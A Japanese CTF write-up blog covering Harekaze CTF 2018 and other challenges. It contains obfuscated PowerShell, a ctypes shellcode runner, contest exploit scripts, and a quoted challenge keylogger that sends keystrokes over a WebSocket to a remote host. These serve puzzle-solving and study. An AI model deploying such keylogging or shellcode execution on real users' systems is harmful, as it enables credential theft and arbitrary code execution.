+${;%$}${[/)}${[/)}${+}+  ${;%$}${[/)}${[/)}${``}  +${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${!.*}${+-.}+${;%$}${)}${``}+${;%$}${[/)}${[/)}${+}+${;%$}${[/)}${[/)}${).+}  +  ${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${!.*}${[/)}+${;%$}${+-.}${+-.}  +  ${;%$}${[/)}${!.*}${)}+  ${;%$}${[/)}${=-$}+  ${;%$}${[/)}${!.*}+  ${;%$}${=-$}${``}+${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${[/)}${).+}+  ${;%$}${[/)}${!.*}${[/)}+${;%$}${+-.}${/}  +${;%$}${[/)}${!.*}${/}+${;%$}${=-$}${).+}  +  ${;%$}${``}${[/)}  +  ${;%$}${=-$}${).+}+${;%$}${/}${/[(}  +  ${;%$}${[/)}${!.*}${[/)}+${;%$}${[/)}${[/)}${+-.}+  ${;%$}${)}${+}+  ${;%$}${/}${+-.}  +  ${;%$}${+-.}${/[(}  +${;%$}${[/)}${!.*}${``}+${;%$}${[/)}${!.*}${[/)}  +${;%$}${+-.}${+-.}  +${;%$}${[/)}${[/)}${``}+  ${;%$}${=-$}${).+}+  ${;%$}${/[(}${=-$}+${;%$}${[/)}${).+}${[/)}+${;%$}${[/)}${[/)}${+}+${;%$}${[/)}${[/)}${``}+  ${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${!.*}${+-.}+  ${;%$}${)}${``}+${;%$}${/[(}${=-$}  +${;%$}${[/)}${[/)}${).+}  +  ${;%$}${[/)}${!.*}${[/)}+  ${;%$}${[/)}${!.*}${[/)}  +${;%$}${+-.}${+-.}+${;%$}${[/)}${!.*}${)}  +${;%$}${)}${``}+  ${;%$}${/[(}${=-$}  +${;%$}${[/)}${).+}${[/)}+  ${;%$}${[/)}${[/)}${!.*}  + ${;%$}${[/)}${[/)}${``}+  ${;%$}${[/)}${!.*}${)}+${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${[/)}${+}  +${;%$}${[/)}${!.*}${+}  +${;%$}${[/)}${[/)}${+}+  ${;%$}${)}${``}  +${;%$}${/[(}${=-$}+  ${;%$}${[/)}${[/)}${).+}  +  ${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${!.*}${[/)}  +${;%$}${+-.}${+-.}  +${;%$}${[/)}${!.*}${)}  +${;%$}${/[(}${=-$}+${;%$}${[/)}${).+}${[/)}  +  ${;%$}${[/)}${[/)}${!.*}+  ${;%$}${[/)}${[/)}${``}+  ${;%$}${[/)}${!.*}${)}  +  ${;%$}${[/)}${!.*}${[/)}  + ${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${!.*}${+}+${;%$}${[/)}${).+}${).+}+${;%$}${[/)}${!.*}${[/)}+${;%$}${[/)}${[/)}${)}  +${;%$}${[/)}${=-$}+  ${;%$}${[/)}${!.*}+${;%$}${=-$}${``}  +${;%$}${[/)}${[/)}${+}+${;%$}${[/)}${[/)}${).+}+  ${;%$}${[/)}${!.*}${[/)}+${;%$}${+-.}${/}  +${;%$}${[/)}${!.*}${/}  +${;%$}${)}${``}+  ${;%$}${/[(}${=-$}+  ${;%$}${[/)}${[/)}${).+}+${;%$}${[/)}${!.*}${[/)}+  ${;%$}${+-.}${/}+  ${;%$}${[/)}${!.*}${/}  +  ${;%$}${)}${!.*}+${;%$}${=-$}${)}+  ${;%$}${/}${``}+  ${;%$}${[/)}${!.*}${+}  +  ${;%$}${[/)}${[/)}${+}+  ${;%$}${[/)}${[/)}${``}  +${;%$}${[/)}${!.*}${[/)}+ ${;%$}${[/)}${[/)}${!.*}  +  ${;%$}${=-$}${=-$}+  ${;%$}${=-$}${).+}+${;%$}${/}${``}  +  ${;%$}${[/)}${!.*}${+}  +  ${;%$}${[/)}${[/)}${+}  +  ${;%$}${[/)}${[/)}${``}+${;%$}${[/)}${!.*}${[/)}  +  ${;%$}${[/)}${[/)}${!.*}  +${;%$}${=-$}${=-$}+${;%$}${=-$}${).+}  +  ${;%$}${/}${!.*}+  ${;%$}${/}${``}  +${;%$}${``}${+}+  ${;%$}${/}${[/)}+  ${;%$}${=-$}${).+}+  ${;%$}${[/)}${!.*}${+}+  ${;%$}${[/)}${[/)}${+}+  ${;%$}${=-$}${).+}  +  ${;%$}${/}${!.*}  +${;%$}${/}${``}+  ${;%$}${``}${+}  +${;%$}${/}${[/)}+  ${;%$}${+-.}${+}+  ${;%$}${+-.}${/}+  ${;%$}${[/)}${[/)}${!.*}+${;%$}${[/)}${!.*}${=-$}+${;%$}${[/)}${!.*}${/[(}+${;%$}${[/)}${!.*}${[/)}  +${;%$}${[/)}${[/)}${)}+${;%$}${[/)}${!.*}${).+}  +  ${;%$}${[/)}${!.*}${+}  +  ${;%$}${[/)}${[/)}${+}+  ${;%$}${[/)}${!.*}${)}  +${;%$}${=-$}${)}  +${;%$}${=-$}${).+}  +  ${;%$}${)}${[/)} )"  )
  iex([CHar]65+  [CHar]100  +  [CHar]100+[CHar]45  +[CHar]84+  [CHar]121  +  [CHar]112+[CHar]101  +  [CHar]32+  [CHar]45  +[CHar]65+[CHar]115  +  [CHar]115  +  [CHar]101  +[CHar]109+[CHar]98+  [CHar]108  +  [CHar]121+[CHar]78  + [CHar]97+  [CHar]109+  [CHar]101+[CHar]32+  [CHar]83  +  [CHar]121  +[CHar]115+  [CHar]116  +[CHar]101  +  [CHar]109+[CHar]46+[CHar]115+[CHar]112  +  [CHar]101  +  [CHar]101+[CHar]99  +  [CHar]104+  [CHar]13+  [CHar]10+  [CHar]36+[CHar]115  +  [CHar]112+  [CHar]101+[CHar]97  +[CHar]107+[CHar]32  +  [CHar]61  +  [CHar]32+[CHar]78  +  [CHar]101+[CHar]119+  [CHar]45+  [CHar]79  +  [CHar]98  +[CHar]106+[CHar]101  +[CHar]99  +[CHar]116+  [CHar]32+  [CHar]83+[CHar]121+[CHar]115+[CHar]116+  [CHar]101  +  [CHar]109+  [CHar]46+[CHar]83  +[CHar]112  +  [CHar]101+  [CHar]101  +[CHar]99+[CHar]104  +[CHar]46+ [CHar]83  +[CHar]121+  [CHar]110  +  [CHar]116+  [CHar]104+[CHar]101  +  [CHar]115  +[CHar]105  +[CHar]115+  [CHar]46 +[CHar]83+  [CHar]112  +  [CHar]101  +  [CHar]101  +[CHar]99  +[CHar]104  +[CHar]83+[CHar]121  +  [CHar]110+  [CHar]116+  [CHar]104  +  [CHar]101  +  [CHar]115  +  [CHar]105+[CHar]122+[CHar]101+[CHar]114  +[CHar]13+  [CHar]10+[CHar]36  +[CHar]115+[CHar]112+  [CHar]101+[CHar]97  +[CHar]107  +[CHar]46+  [CHar]83+  [CHar]112+[CHar]101+  [CHar]97+  [CHar]107  +  [CHar]40+[CHar]34+  [CHar]76+  [CHar]105  +  [CHar]115+  [CHar]116  +[CHar]101+  [CHar]110  +  [CHar]33+  [CHar]32+[CHar]76  +  [CHar]105  +  [CHar]115  +  [CHar]116+[CHar]101  +  [CHar]110  +[CHar]33+[CHar]32  +  [CHar]70+  [CHar]76  +[CHar]65+  [CHar]71+  [CHar]32  +  [CHar]105+  [CHar]115+  [CHar]32  +  [CHar]70  +[CHar]76+  [CHar]65  +[CHar]71+[CHar]95+  [CHar]97+  [CHar]110+[CHar]103+  [CHar]108+[CHar]101  +[CHar]114+[CHar]102  +  [CHar]105  +  [CHar]115+  [CHar]104  +[CHar]34  +[CHar]32  +  [CHar]41  )

iex で実行しようとしているコードの内容を調べると、フラグが得られた。

Windows PowerShell
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PS C:\Users\user> ([CHar]65+  [CHar]100  +  [CHar]100+[CHar]45  +[CHar]84+  [CHar]121  +  [CHar]112+[CHar]101  +  [CHar]32+  [CHar]45  +[CHar]65+[CHar]115  +  [CHar]115  +  [CHar]101  +[CHar]109+[CHar]98+  [CHar]108  +  [CHar]121+[CHar]78  + [CHar]97+  [CHar]109+  [CHar]101+[CHar]32+  [CHar]83  +  [CHar]121  +[CHar]115+  [CHar]116  +[CHar]101  +  [CHar]109+[CHar]46+[CHar]115+[CHar]112  +  [CHar]101  +  [CHar]101+[CHar]99  +  [CHar]104+  [CHar]13+  [CHar]10+  [CHar]36+[CHar]115  +  [CHar]112+  [CHar]101+[CHar]97  +[CHar]107+[CHar]32  +  [CHar]61  +  [CHar]32+[CHar]78  +  [CHar]101+[CHar]119+  [CHar]45+  [CHar]79  +  [CHar]98  +[CHar]106+[CHar]101  +[CHar]99  +[CHar]116+  [CHar]32+  [CHar]83+[CHar]121+[CHar]115+[CHar]116+  [CHar]101  +  [CHar]109+  [CHar]46+[CHar]83  +[CHar]112  +  [CHar]101+  [CHar]101  +[CHar]99+[CHar]104  +[CHar]46+ [CHar]83  +[CHar]121+  [CHar]110  +  [CHar]116+  [CHar]104+[CHar]101  +  [CHar]115  +[CHar]105  +[CHar]115+  [CHar]46 +[CHar]83+  [CHar]112  +  [CHar]101  +  [CHar]101  +[CHar]99  +[CHar]104  +[CHar]83+[CHar]121  +  [CHar]110+  [CHar]116+  [CHar]104  +  [CHar]101  +  [CHar]115  +  [CHar]105+[CHar]122+[CHar]101+[CHar]114  +[CHar]13+  [CHar]10+[CHar]36  +[CHar]115+[CHar]112+  [CHar]101+[CHar]97  +[CHar]107  +[CHar]46+  [CHar]83+  [CHar]112+[CHar]101+  [CHar]97+  [CHar]107  +  [CHar]40+[CHar]34+  [CHar]76+  [CHar]105  +  [CHar]115+  [CHar]116  +[CHar]101+  [CHar]110  +  [CHar]33+  [CHar]32+[CHar]76  +  [CHar]105  +  [CHar]115  +  [CHar]116+[CHar]101  +  [CHar]110  +[CHar]33+[CHar]32  +  [CHar]70+  [CHar]76  +[CHar]65+  [CHar]71+  [CHar]32  +  [CHar]105+  [CHar]115+  [CHar]32  +  [CHar]70  +[CHar]76+  [CHar]65  +[CHar]71+[CHar]95+  [CHar]97+  [CHar]110+[CHar]103+  [CHar]108+[CHar]101  +[CHar]114+[CHar]102  +  [CHar]105  +  [CHar]115+  [CHar]104  +[CHar]34  +[CHar]32  +  [CHar]41  )
Add-Type -AssemblyName System.speech
$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer
$speak.Speak("Listen! Listen! FLAG is FLAG_anglerfish" )

複数回の難読化をかけたコードを深海魚のアンコウ（anglerfish）にたとえていて参考になる。

sc (200)

テキストファイルが与えられる。

$ file sc
sc: ASCII text

$ cat sc 
4883ec4031c0c745c80802150fc745cc046f6d35c745d02a2a6e6cc745d4
286b6334c745d82a342b68c745dc62286b63c745e0636a6c34c745e4282a
356fc745e86f6b2b28c745ec2a000000488d45c8488945f0e92e01000048
8b45f00fb60083f05b89c2488b45f08810488b45f00fb6003c600f8e8100
0000488b45f00fb6003c7a7f76488b45f00fb60083e86189c2488b45f088
10488b45f00fb60083c00d89c2488b45f08810488b45f00fb610660fbeca
89c8c1e00201c8c1e00429c866c1e80889c1c0f90389d0c0f80729c189c8
b91a0000000fafc129c289d0488b55f08802488b45f00fb60083c06189c2
488b45f08810e987000000488b45f00fb6003c407e7c488b45f00fb6003c
5a7f71488b45f00fb60083e84189c2488b45f08810488b45f00fb60083c0
0d89c2488b45f08810488b45f00fb610660fbeca89c8c1e00201c8c1e004
29c866c1e80889c1c0f90389d0c0f80729c189c8b91a0000000fafc129c2
89d0488b55f08802488b45f00fb60083c04189c2488b45f08810488345f0
01488b45f00fb60084c00f85c3feffff488d45c84889c6b801000000bf01
000000ba250000000f05c9c3

末尾の c9 c3 (leave ret)、48 (rex prefix) が複数見えることからx86-64 shellcodeであると仮定し、実行してみる。 C言語でプログラムを書いて実行することもできるが、ここでは「Pythonでネイティブコードを実行する」の方法を使った。

$ cat solve.py 
import ctypes

def native_func(bytecode):
    libc = ctypes.CDLL('libc.so.6')
    libc.mmap.restype = ctypes.c_void_p
    buf = libc.mmap(None, len(bytecode), 7, 0x22, -1, 0)
    libc.memcpy(ctypes.c_void_p(buf), ctypes.c_char_p(bytecode), len(bytecode))
    return ctypes.CFUNCTYPE(ctypes.c_void_p)(buf)

with open('sc') as f:
    data = f.read()

data = bytes.fromhex(data.replace('\n', ''))
func = native_func(data)
func()

$ python3 solve.py 
FLAG_46add57f08bdbc39f08817bfda440cfd
Segmentation fault (core dumped)

フラグが得られた。

所感

コンテスト中に1問解けなかったのは残念だったが、解読系の問題が多くおもしろかった。

Harekaze CTF 2018 供養（Writeup）

Harekaze CTF 2018に参加。1430ptで23位。

welcome flag (WarmUp, 10 points)

HarekazeCTF{Welcome to the Harekaze CTF!}

easy problem (WarmUp, 30 points)

ROT13。

$ python
Python 2.7.12 (default, Nov 20 2017, 18:23:56)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 'UnerxnmrPGS{Uryyb, jbeyq!}'.decode('rot13')
u'HarekazeCTF{Hello, world!}'

Obfuscated Password Checker (Web, 50 points)

bundle.jsに難読化されたパスワードチェック処理がある。 グローバル変数にいろいろ入っているので、Developer Toolsのコンソールで調べてみるとフラグがあった。

>> console.dir(window)
Window
  _0x2b0ce8: function _0x2b0ce8()
  _0x91f9: Array [ "E1fCjlfCmg==", "wrh/dD3DpMKxWBfDjDLDnFjCncK0VsOKY3Qu", "wpPDv8OUbcKke8KYwq3Cu8OSw6TCscK+w7cuwpzCjx0AwqRMw4BbwrE2wqzChcKUwo/Di8OuVQ==", … ]
  _0x991f: _0x991f()
    arguments: null
    caller: null
    data: {…}
      0V1mU: "apply"
      2tyXd: "{}.constructor(\"return this\")( )"
      3wC12: "console"
      "6E&wy": "warn"
      "12M)@": "return (function() "
      "12ea#G": "console"
      15UjzH: "console"
      16RI1J: "debug"
      "17Y]U9": "console"
      18Ay1I: "info"
      19Ay1I: "console"
      "22rg!@": "exception"
      "23cO2*": "console"
      24BOyr: "trace"
      26BOyr: "call"
      "27e]Rd": "exports"
      28wC12: "exports"
      "29O!qf": "exports"
      "37f&tJ": "addEventListener"
      "39i$MQ": "getElementById"
      "41ea#G": "getElementById"
      43SbU8: "getElementById"
      "44ea#G": "info"
      "45H@[h": "addEventListener"
      "46VpD$": "click"
      "59e]Rd": "length"
      "60Lt&5": "constructor"
      "61eQq&": "debugger"
      62V1mU: "constructor"
      63Ay1I: "debugger"
      132PNc: "log"
      "144%nq": "console"
      208DMT: "error"
      212PNc: "console"
      361Z5I: "HarekazeCTF{j4v4scr1pt-0bfusc4t0r_1s_tsur41}"
      "384%nq": "load"
      "422M)@": "button"
      409061: "password"
      __proto__: Object { … }
    initialized: true
    length: 2
    name: "_0x991f"
    once: true
    prototype: Object { … }
    rc4: function _0x15a4b9()
    __proto__: function ()
  [default properties]
  __proto__: WindowPrototype { … }

div N (Rev, 100 points)

整数除算のmagic numberから除数を逆算する問題。

• disassembly - How can I reverse optimized integer division/modulo by constant operations? - Reverse Engineering Stack Exchange

$ python
Python 2.7.12 (default, Nov 20 2017, 18:23:56)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> pow(2, 64+0x30)/0x49ea309a821a0d01 + 1
974873638438446L

gacha (Crypto, 100 points)

RSA。 平文がわかっているので、暗号文を計算して一致するものを選ぶ。

# -*- coding: utf-8 -*-
from minipwn import *

# >>> [x.encode('hex') for x in ['WIN 💎', 'LOSE 💩']]
# ['57494e20f09f928e', '4c4f534520f09f92a9']

s = socket.create_connection(('problem.harekaze.com', 30214))
print recvuntil(s, '\n\n')

while True:
    print recvline(s)
    x1 = eval(recvline(s)[12:-1])
    x2 = eval(recvline(s)[12:-1])
    x3 = eval(recvline(s)[12:-1])
    recvuntil(s, '>>> ')
    options = [x1, x2, x3]
    for i, v in enumerate(options):
        n, e, c = v
        result = pow(0x57494e20f09f928e, e, n)
        if result == c:
            sendline(s, str(i+1))
            break
    else:
        raise Exception('something wrong')
    for i in xrange(6):
        print recvline(s),
    maybe_flag = recvline(s)
    if 'HarekazeCTF' in maybe_flag:
        print maybe_flag
        break

[+] you got the flag 🏁: HarekazeCTF{92f4187adbbafd3c592bfdfa8689de3be26b770d}

Fight (Crypto, 100 points)

乱数でbyte-wise XORされたフラグを求める問題。 乱数のseedが 4529255040439033800342855653030016000 未満の互いに素な自然数の個数（オイラーのφ関数）になっている。

$ gp -q
? eulerphi(4529255040439033800342855653030016000)
765753154007029226621575888896000000

seedを与えてXORするとフラグが得られる。

b'HarekazeCTF{3ul3rrrrrrrrr_t0000000t1nt!!!!!}'

Harekaze Farm (Pwn, 100 points)

strcpyがnullバイトで処理を止めることを利用する。

from minipwn import *

#s = connect_process(['./harekaze_farm'])
s = socket.create_connection(('problem.harekaze.com', 20328))
print recvuntil(s, ': ')
sendline(s, 'cow\x00AAAAisoroku')
print recvuntil(s, ': ')
sendline(s, '')
print recvuntil(s, ': ')
sendline(s, '')
interact(s)

$ python solve.py
Welcome to Harekaze farm
Input a name of your favorite animal:
Input a name of your favorite animal:
Input a name of your favorite animal:
Begin to parade!
cow: "moo" "moo"
isoroku: "flag is here" "flag is here"
HarekazeCTF{7h1s_i5_V3ry_B3ginning_BoF}

*** Connection closed by remote host ***

15 Puzzle (Rev, 200 points)

.NET実行ファイル。

$ file Harekaze15Puzzle.exe
Harekaze15Puzzle.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dnSpyで開くと、乱数を固定回数得た後byte-wise XORすることでフラグを復号していることがわかる。 乱数のseedはクラスのアセンブリコードから作られているので、先にデバッガにてseedを調べた後アセンブリコードを編集することでフラグを得た。

HarekazeCTF{.NET_4pp_c4n_3451ly_b3_d3c0mp1l3d}

Logger (Rev + Net, 200 points)

与えられたpcapにあるbundle.jsのスクリプトを見ると、WebSocketでUser-Agentとキーコードをエンコードして送っていることがわかる。 エンコード処理は、変換テーブルを鍵tとしたBase58風の変換になっている。

window.addEventListener("DOMContentLoaded", function() {
    function encode(s, t) {
        var r = [];
        if (typeof s === "string") {
            s = new TextEncoder("utf-8").encode(s)
        }
        var i, z;
        for (i = 0; i < s.length; i++) {
            if (s[i]) {
                break
            }
        }
        z = i;
        for (; i < s.length; i++) {
            var c = s[i];
            var j;
            for (j = 0; j in r || c; j++) {
                if (r[j]) {
                    c += r[j] * 256
                }
                r[j] = c % 58;
                c = Math.floor(c / 58)
            }
        }
        return t[0].repeat(z) + r.reverse().map(function(x) {
            return t[x]
        }).join("")
    }

    function hash(s) {
        var r = 0,
            i;
        for (i = 0; i < s.length; i++) {
            r = r * 31 + s.charCodeAt(i) | 0
        }
        return r
    }

    function rand(s) {
        var x = 123456789;
        var y = 362436069;
        var z = 521288629;
        var w = 88675123;
        var t;
        return function(a, b) {
            t = x ^ x << 11;
            x = y;
            y = z;
            z = w;
            w = w ^ w >> 19 ^ (t ^ t >> 8);
            if (a !== undefined && b !== undefined) {
                return a + w % (b + 1 - a)
            }
            return w
        }
    }

    function shuffle(a, r) {
        var i;
        for (i = a.length - 1; i > 0; i--) {
            var j = Math.abs(r(0, i));
            var t = a[i];
            a[i] = a[j];
            a[j] = t
        }
    }
    var w = new WebSocket("ws://192.168.99.101:7467");
    var t = "MeitamANbcfv2yXDH1RjPTzVqnLYFhE54uJUkdwCgGB36srQ8o9ZK7WxSp";
    w.addEventListener("open", function(event) {
        var s = navigator.userAgent;
        w.send(encode(navigator.userAgent, t));
        t = t.split("");
        shuffle(t, rand(hash(s)));
        t = t.join("")
    });
    Array.from(document.getElementsByTagName("input")).forEach(function(e) {
        e.addEventListener("keyup", function(v) {
            w.send(encode(Math.random().toString().slice(2) + " " + v.key, t))
        }, false)
    })
}, false);

鍵はUser-Agentを送信した後変わるので、復号したUser-Agentをもとに次の鍵を計算する。

• base58 encoding in Python

texts = """T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
iCmUsu3sWAgt1DLDTPiCsMkiJ
iTS5kqhhN6dZgQfzeXgG7yYr5
uKGMC4ZpKpR1Hbek9LnoWag
MENtnhfQx47g2MD4YfaPpapNRA
iBKoHeQsAyZ3yYg5uzbDpVBza
mez8Y8onREos36hbs1W3PrzEVyF
ioHr8fnSqtoRvLkvW6z6YoZLQ
iBKN3429YfCEmRAxT6f9g9Qsv
yvDepd8vhnp8MQNeYfiBKg2L5apQCZ
iDM2FWZnm2fnpYmYGmqVWex27
iDyQ3jA179gqDNzj51e8SzqfP
iDRMoK3vV8dwipy12npBHDCx6
RoAaJ29cybX87mddDKDJdDEw3ZGE29
iDVvjasQqyiaf7vKnNixERsNP
iBz2L9ZX6LUyopeooorQDnwYi
MEBmf8UBvosB98ocQawh9XZ45n
iM4zg74tACAR4XB7khRmL5gLC
iCATz5TGy5jcsCLGWawZSc8zc
iyvVZ3Q5xAVGy1ZLXZFdnXTep
iDS5YadHVaegKNDjYJkamNM8a
yvrGR54rYJj19e75eo1TACqEAuGfow
ioPy4npLFrivepDY4MioMARxZ
iBwMxi5246Xg7UQi2yvJQ8Xg6
iyvVWzDwMaVPLaZYQ2y975QT6
4VXm8RKGEgG95iKCXam1ygN
M77CEgVf6os6K6tjN1M6A9y7pn
MVeeCjRXYXcKdAgCxKFTJgAdZo
meFcfCq8k1CzkESo7i4GDRnhx9n
iyvkbgC3k9R7JTPUESdmeZfzn
oY9P5XbTFsaV4sS2CHBJE3hcYZTQvurTr
iEEhZ5DXWedXQ4iUQbmwrGrs3
dNUzs2v4Vf7U6GdArAhvCmdPtLH8WMviyq
iCAjd7zUWskbSy9RLYjtrZDCV
qPgGDYUvNuUT3Ch1fKgknFW4CPVcWgH
iShnuif7DhNDTetUZMXWG9rLJ
iDSiqPQnncdz6Rs6YGzmeWuqE
iC8FaVhXmb1GYXrCGw5CcuAXC
i7fBGggWJf9LNRdVprPLPpei3
i7fxmXUMpgst9kACHosb91Cka
MECvB5p81fNgVACMmJQsVd6cQB
iiDMtEVW7BUo5ocRRN4inXdQ7
iSEGbN9YJHTXWLQp2JRMcPmFp
iy9KSw2qYEeVA627cyZzH6F6U
iCN8mpZLH7uUp1fUADyGA5P95
MECbuHyU6L65iPw5Asw92EekYa
yvzJxXHW4XEPsncH4zSHDxVZf9tzxk
iBz2LgRNBBfq42MTaCV3wvjCR
iM5bfsw5xU93kTpig2Q4YmS7A
iBYgT3V51QMxRuxhUS1dSm6s2
ME8pn9tTKm3HEkhnFUeXyB7Wtd
iCN5jfUJiqBYWEbP3hhFgDfci
iDVWAJwuudMAi7x7CpNGARxA4
iMGUZeMFtyDcYf7qGpMHfsEvB
iCA3E5NsH2vMvZck9rexTLXG4
horZcydUns9SRFV8wefAJhEYWGwVfxrS
ME131HW8CbVfH26b1XpK6741Kk
iSEGaKaTXheBaHoAFgrF2ncaL
T6Kihw84sq6JnwNc1V6ps5
iDSNbdyahA2wUahbo5oaztjvm
iyvVWY7oECQ2PE3nLMW9ZcR1Q
iidqHMFJ5xshHM4XstWfXvHqJ
hiMU5F4R6qXdTWeiuwuL8so1qCDzsj4m
iC51H2btb9FywrKrgFCqcCUnA
iyvVZ8xTQrukCAiSe6Yrfogg4
i7qb1XR4yhPUzyK1y1k1M1kHH
iyducwzyZxJgeN11VjtYrPnrt
iBwageNmGH9F1Cx7gcK8nhPkC
yWzcku8Ed5ZYasGMqBNny8Cy8ue4hH
T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH
"""

def base58_like_decode(s, key):
    base_count = len(key)

    decoded = 0
    multi = 1
    s = s[::-1]
    for char in s:
        decoded += multi * key.index(char)
        multi = multi * base_count
    return ("%02x" % decoded).decode('hex')

key1 = 'MeitamANbcfv2yXDH1RjPTzVqnLYFhE54uJUkdwCgGB36srQ8o9ZK7WxSp'
key2 = 'Ehi6osZTjMV7SRygBxUD9CdFcvub1pr4G85NAnm3XakPzQHKwYL2tJefWq'
for i, line in enumerate(texts.splitlines()):
    key = key1 if i < 4 else key2
    print "%r" % base58_like_decode(line, key)

$ python solve.py
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
'9939691852144892 i'
'3859885261512208 r'
'150145858608417 i'
'18567251159095166 z'
'7576458777211459 a'
'026972594242234305 k'
'2764480095938977 i'
'7619045353800709 _'
'5178571305666269 Shift'
'8074027219998314 m'
'8956491355702074 e'
'8670453908645435 i'
'011659703838099222 Tab'
'8187754933758598 u'
'7137578694896829 t'
'10685363636314182 e'
'4037649614420644 u'
'9547499006667151 t'
'6804633006850678 e'
'8527906993351082 _'
'5419370398984358 Shift'
'2139335311774213 d'
'7719704024064638 a'
'6872561448387979 m'
'978853711240298 a'
'27678191579008526 s'
'21712587887769974 h'
'008838643293209936 i'
'6968951321131645 i'
'5659857613222705 Control'
'0881841960341716 a'
'809443148452283 Backspace'
'9590280939075162 H'
'04511512569247045 Shift'
'5801697350055479 a'
'8402687974500731 r'
'9049605873902304 e'
'5007062769608761 k'
'5096873156118242 a'
'12161528139619371 z'
'1005416542059554 e'
'5629111190926932 C'
'6008572749776933 T'
'9409767293718467 F'
'12544265098544072 {'
'5884094633930836 Shift'
'7134343065666682 7'
'4504682199625718 r'
'7963206866962564 1'
'17610405187451073 6'
'9442152449942891 6'
'8273018665705658 3'
'4154717364716134 r'
'9617594337921764 _'
'40848781307522053 Shift'
'15416183502271852 h'
'5645719251292425 4'
'98042680667325 p'
'8572499225178345 p'
'6875257188592576 y'
'1751574910137419 _'
'28951702513811517 Shift'
'9235607179034739 6'
'6800631359494727 1'
'5440433413536723 r'
'6339927149278366 l'
'7846849786881289 }'
'7076479870105414 Shift'
"\x1b\x1bC\xaf\x81\xe2\xf4\x9d\x9e\xc2V\xd7I4=,\xcb\x17a\xdf\xd8\x9d\xe1Y\xa3\x977\x08\xe2\xe8\x95X2\x13.\xd1\xac\xbdc\xa6\xf1:\xe2_\xda\x0c+\xf6q\x9d2\xae8x\xd5\xe6\xd1\x13I(|Yi\x97[\xc9$;p\xdd\xff\xbc\xef\xbb\xcb\xf0\xb1\xeeH\xcd]\xbat'pkVX\xfbo\x89-\x05H\xbb\xc8!\x86\x93\xb6\xc1\x84\xdc\x00\x1f\xb8\x89xx\x84\xf2\xc3\xf1\xae\xc4"

HarekazeCTF{7r1663r_h4ppy_61rl}

Round and Round (Crypto, 200 points)

RSA。 次の3つの値が与えられる。

enc = pow(FLAG, e, n)
p1 = (sum([pow(p-1, i, p) for i in range(q)]))
q1 = (sum([pow(q-1, i, q) for i in range(p)]))

次のような連立方程式が成り立つので、これを解くことでp1、q1からp、qが求まる。

p1 = \sigma_{i=0}^{q-1} ((p-1)^i mod p) = 1 + (p-1) + (p^2-2*p+1) + ... = 1 + (p-1) + 1 + (p-1) + ... + 1 = (p-1)*(q-1)/2 + q/2
q1 = (p-1)*(q-1)/2 + p/2

import gmpy

enc = 15507598298834817042463704681892573844935925207353671096676527782423920390858333417805014479686241766827314370902570869063203100704151010294869728739155779685640415815492312661653450808873691693721178331336833872996692091804443257630828512131569609704473214724551132715672202671586891813211353984388741035474991608860773895778988812691240069777435969326282770350038882767450912160134013566175657336041694882842590560100668789803775001750959648059363722039014522592751510672658328196379883088392541680852726136345115484827400366869810045573176782889745710174383221427352027041590910694360773085666697865554456816396551
p1 = 14606124773267989759790608461455191496412830491696356154942727371283685352374696106605522295947073718389291445222948819019827919548861779448943538887273671755720708995173224464135442610773913398114765000584117906488005860577777765761976598659759965848699728860137999472734199231263583504465555230926206555745572068651194660027408008664437845821585312159573051601404228506302601502000674242923654458940017954149007122396560597908895703129094329414813271877228441216708678152764783888299324278380566426363579192681667090193538271960774609959694372731502799584057204257039655016058403786035676376493785696595207371994520
